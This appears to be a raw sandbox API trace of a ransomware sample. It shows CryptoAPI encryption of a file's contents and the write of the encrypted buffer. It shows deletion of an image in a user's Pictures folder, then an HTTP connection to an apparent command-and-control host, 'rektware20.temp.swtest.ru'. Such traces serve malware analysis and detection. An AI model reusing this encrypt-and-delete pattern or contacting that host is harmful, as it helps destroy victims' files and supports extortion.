PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.691] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.691] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0060.691] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.691] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0060.691] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.691] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.691] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.691] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0060.691] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0060.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0060.691] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0060.691] CryptGetKeyParam (in: hKey=0x164c270, dwParam=0x7, pbData=0x16293b0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16293b0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0060.692] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.692] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.692] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.692] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.692] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.692] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.692] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.692] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.692] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0060.692] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.692] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.692] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0060.692] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.692] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.692] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0060.692] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.692] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.692] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.692] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.692] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.692] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.693] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.693] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.693] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.693] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0060.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621768, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0060.693] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0060.693] CryptEncrypt (in: hKey=0x164c270, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xab17, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xab20) returned 1 [0060.694] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.694] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.694] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.694] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.694] CharLowerBuffW (in: lpsz="byte[43809]", cchLength=0xb | out: lpsz="byte[43809]") returned 0xb [0060.694] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.698] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.698] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.699] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.699] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0060.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621930, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0060.699] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0060.699] CryptEncrypt (in: hKey=0x164c270, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1887b30*, pdwDataLen=0x130e618*=0xab17, dwBufLen=0xab20 | out: pbData=0x1887b30*, pdwDataLen=0x130e618*=0xab20) returned 1 [0060.700] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.700] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.700] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.700] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.700] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.700] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.700] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0060.700] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.700] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0060.700] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.700] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.700] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.700] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.700] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0060.700] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.700] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.701] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.702] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.702] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.702] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.702] WriteFile (in: hFile=0x3bc, lpBuffer=0x17d0b18*, nNumberOfBytesToWrite=0xab20, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17d0b18*, lpNumberOfBytesWritten=0x130f01c*=0xab20, lpOverlapped=0x0) returned 1 [0060.705] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.705] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.705] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0060.705] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.705] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.705] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0060.705] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0060.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16214e0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0060.706] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0060.706] CryptDestroyKey (hKey=0x164c270) returned 1 [0060.706] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.706] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.706] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0060.706] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.706] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0060.706] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0060.706] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0060.706] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.706] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.706] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0060.706] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.706] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.706] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.706] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.706] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.707] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0060.707] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.707] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0060.707] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.707] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.707] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.707] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.707] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0060.707] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.707] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.707] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0060.707] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0060.707] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0060.708] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0060.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0060.708] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0060.708] CryptReleaseContext (hProv=0x17aabc0, dwFlags=0x0) returned 1 [0060.708] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.708] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.708] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0060.708] FreeLibrary (hLibModule=0x74c60000) returned 1 [0060.708] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.708] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.708] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.708] CloseHandle (hObject=0x2ac) returned 1 [0060.709] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.709] CloseHandle (hObject=0x3bc) returned 1 [0060.721] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.721] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0060.721] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", lpFilePart=0x0) returned 0x45 [0060.721] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\bfi75cmebo2.bmp")) returned 0x20 [0060.721] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c430 [0060.721] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\bfi75cmebo2.bmp")) returned 1 [0060.723] FindNextFileW (in: hFindFile=0x164c430, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0060.724] FindClose (in: hFindFile=0x164c430 | out: hFindFile=0x164c430) returned 1 [0060.724] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0060.724] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.724] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.724] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.724] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cb30 [0060.724] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0060.724] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.724] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0060.724] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0060.724] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0060.724] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0060.724] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1621018, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1621018, lpdwBufferLength=0x130ef8c) returned 1 [0060.724] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0060.724] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0060.724] 